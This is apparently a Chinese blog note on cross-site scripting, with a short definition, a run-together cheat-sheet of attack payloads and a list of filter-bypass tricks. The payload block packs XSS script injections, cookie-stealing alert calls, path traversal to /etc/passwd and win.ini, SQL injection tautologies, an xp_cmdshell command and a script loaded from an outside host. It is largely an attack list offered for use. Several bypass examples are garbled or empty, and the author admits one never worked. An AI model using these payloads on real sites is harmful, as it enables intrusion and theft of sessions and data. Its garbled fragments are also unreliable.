一、XSS简介
跨站点脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种站点应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
二、XSS基本语句
='>%3Cscript%3Ealert('XSS')%3C/script%3E%0a%0a.jsp%22%3cscript%3ealert(%22xss%22)%3c/script%3e%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html%3f.jsp%3f.jsp?sql_debug=1a%5c.aspxa.jsp/a/a?">';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%3Ealert(document. domain);%3C/script%3E&%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=../../../../../../../../etc/passwd..\..\..\..\..\..\..\..\windows\system.ini\..\..\..\..\..\..\..\..\windows\system.ini'';!--"=&{()} " ";' > out
getURL("javascript:alert('XSS')")a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); "> <" PT SRC="http://xss.ha.ckers.org/a.js"> linkadmin'--' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #or 0=0 #' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --hi' or 'a'='ahi') or ('a'='ahi") or ("a"="a
三、XSS绕过过滤
1、转义字符斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。
例如:<script>alert('test');</script>的十六进制转移字符串为
/x3C/x73/x63/x72/x69/x70/x74/x3E/x61/x6C/x65/x72/x74/x28/x27/x74/x65/x73/x74/x27/x29/x3B/x3C/x2F/x73/x63/x72/x69/x70/x74/x3E
因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。
这个方法对于八进制同样奏效。
2、字符转义(先写上,暂时还没成功)
\u003c和\u003e来代替<和>
例如:
[0xc0]\u003cscript[0xc0]\u003ealert('hello')\[0xc0]u003c/script[0xc0]\u003e
3、用控制字符的ASCII码填充
比如<IMG SRC=";JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头�(null)和一个尾(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符	、换行符
、回车符
可以插到代码任何地方。
4、插入混淆属性
当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:
//插入混淆的src属 性"> //插入混 淆的双引号及 “>”符号 //插入混淆的a 属性
5、用注释符分割
由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:
//css的注释符号 为/**/,其中的内容会被忽略 //css中忽略的符号还有“\”exp/* //注释混淆后的样子 //html的注释符为
四、突破XSS字符数量限制执行任意JS代码
http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html
五、利用窗口引用漏洞和XSS漏洞实现浏览器劫持
http://www.myhack58.com/Article/html/3/7/2009/23165.htm
先这么多吧,以后遇到了再更新。
参考:
【1】http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC
【2】http://www.hackbase.com/tech/2009-08-24/55258.html
【3】http://www.beidaqingniao.org/edu/c/gongfang/1107.html
【4】http://security.zdnet.com.cn/security_zone/2011/0808/2051328.shtml?text1=a&submit=%CC%E1%BD%BB%B2%E9%D1%AF%C4%DA%C8%DD
【5】http://www.hackbase.com/tech/2012-10-19/66888.html
【6】http://chaoyueziwo21.blogbus.com/logs/20491494.html
【7】http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html